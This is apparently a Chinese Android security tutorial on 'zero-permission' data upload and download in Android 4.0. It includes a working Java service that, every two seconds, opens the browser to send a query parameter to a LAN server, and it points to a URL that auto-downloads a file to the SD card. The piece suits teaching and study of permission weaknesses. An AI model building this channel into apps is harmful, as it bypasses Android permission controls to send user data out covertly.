[mobilesafe] 08_0权限上传下载数据

Android 4.0

0权限上传下载数据

1、0权限数据上传    没有intent访问权限的程序感觉起来风险比较低
 但是...
    浏览器可以通过GET方式发送数据
2、0权限数据下载
 浏览http://192.168.1.247:8080/data.zip
 自动下载到sd卡 downloads/data.zip
0权限上传核心代码:
UploadService.java
package cn.zengfansheng.upload;
 
import java.util.Random;
import java.util.Timer;
import java.util.TimerTask;
 
import android.app.Service;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
 
/**
* 文件上传service
* @author hacket
*/

public class UploadService extends Service {
 
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
 
    private Timer timer;
    private TimerTask task;
    @Override
    public void onCreate() {
        super.onCreate();
 
        // 定时上传数据
        timer = new Timer();
        task = new TimerTask() {
 
            Random random = new Random();
            @Override
            public void run() {
                // 开启浏览器,上传数据
                Intent intent = new Intent();
                intent.setAction(Intent.ACTION_VIEW);
                intent.addCategory(Intent.CATEGORY_BROWSABLE);
                intent.addCategory(Intent.CATEGORY_DEFAULT);
                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                String url = "192.168.221.221:8080/FileUpload/FileUploadServlet?info="+random.nextInt();
                intent.setData(Uri.parse("http://"+url));
                startActivity(intent);
            }
        };
        timer.schedule(task, 1000, 2000);
    }
 
    @Override
    public void onDestroy() {
        super.onDestroy();
        if (timer != null) {
            timer.cancel();
            timer = null;
        }
        if (task != null) {
            task.cancel();
            task = null;
        }
    }
}
结果: